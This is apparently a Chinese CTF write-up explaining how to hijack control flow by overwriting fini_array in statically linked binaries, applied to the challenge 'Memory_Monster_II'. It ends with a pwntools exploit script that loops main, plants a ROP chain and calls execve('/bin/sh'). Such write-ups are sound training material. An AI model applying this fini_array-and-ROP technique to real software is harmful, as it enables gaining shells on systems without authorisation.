知识点
程序的入口并不是main,而是libc_start_main,程序运行流程图如下:
- __libc_csu_init
- main
- __libc_csu_fini
- fini_array[1]
- fini_array[0]
libc_start_main函数原型
1
| __libc_start_main(main,argc,argv&env,_libc_csu_init,_libc_csu_fini,rtld_fini)
|
_libc_csu_init
,_libc_csu_fini
在代码段,可见是函数
下面是_libc_csu_fini函数的汇编实现,我们来分析一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| push rbp #将rbp的值压入栈 lea rax, unk_4B80C0 #将unk_4B80C0的地址(0x4B80C0)放入rax寄存器 lea rbp, off_4B80B0 #将off_4B80B0的地址(0x4B80B0)放入rbp寄存器
push rbx sub rax, rbp #rax=rax-rbp=0x10 sub rsp, 8 sar rax, 3 #rax中的值算数右移3位,rax的值为2 jz short loc_402CE6 #JZ,ZF标志位=1跳转
lea rbx, [rax-1] #将rax-1的值即1赋给rbx nop dword ptr [rax+00000000h]
loc_402CD8: call qword ptr [rbp+rbx*8+0] #call [rbp+8]
sub rbx, 1 #rbx=0 cmp rbx, 0FFFFFFFFFFFFFFFFh jnz short loc_402CD8 #zf不为0,跳转loc_402CD8继续执行call [rbp]
loc_402CE6: add rsp, 8 pop rbx pop rbp jmp _term_proc
|
可以看到,调用fini函数时,会先call fini_array[1]
,再call fini_array[0]
,所以我们可以修改fini_array中的值来控制程序的执行,例如将fini_array[1]
中的值修改为main
, fini_array[0]
中的值修改为_libc_csu_fini
,这样的执行流程如下图所示
实例
Memory_Monster_II
IDA逆向,静态编译去符号表
找到start函数反编译,start函数里有libc_start_main函数,其参数含有main
,_libc_csu_init
,_libc_csu_fini
有canary,所以我们不能直接溢出
如图,箭头所指有任意地址写,我们可以根据上述方法修改fini_array使其无限写,在某一地址布置好rop链后,将fini_array[1]改为ret
,fini_array[0]改为leave ret
,即可退出循环执行rop链
这里就有一个问题,leave ret
后如何接上rop链,这里我们可以看到fini_array[0]处的指令相当于
1 2 3
| mov rsp,rbp pop rbp pop rip
|
我们只需让rop链的开始填到pop rip
的位置,fini_array[0]的地址是0x4B80B0
,所以写入的位置应为0x4B80C0
wp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * context.log_level = 'debug' context.arch = 'amd64' p = process('./Memory_Monster_II')
fini_array=0x4B80B0 main=0x401C1D libc_csu_fini=0x402CB0 fini_array_0x10=0x4B80C0 pop_rax_ret=0x448fcc pop_rdi_ret=0x401746 pop_rsi_ret=0x406f80 pop_rdx_ret=0x448415 syscall=0x402514 leave_ret=0x401cf3 binsh=0x4B8108 ret=0x401016
p.recv() payload1=p64(fini_array) p.send(payload1) p.recv() payload2=p64(libc_csu_fini)+p64(main) p.send(payload2) p.recv() p.send(p64(fini_array_0x10)) p.recv() p.send(p64(pop_rax_ret)+p64(0x3b)) p.recv() p.send(p64(fini_array_0x10+0x10)) p.recv() p.send(p64(pop_rdi_ret)+p64(0x4B8108)) p.recv() p.send(p64(fini_array_0x10+0x20)) p.recv() p.send(p64(pop_rsi_ret)+p64(0)) p.recv() p.send(p64(fini_array_0x10+0x30)) p.recv() p.send(p64(pop_rdx_ret)+p64(0)) p.recv() p.send(p64(fini_array_0x10+0x40)) p.recv() p.send(p64(syscall)+b'/bin/sh\x00') p.recv() p.send(p64(fini_array)) p.recv() p.send(p64(leave_ret)+p64(ret)) p.interactive()
|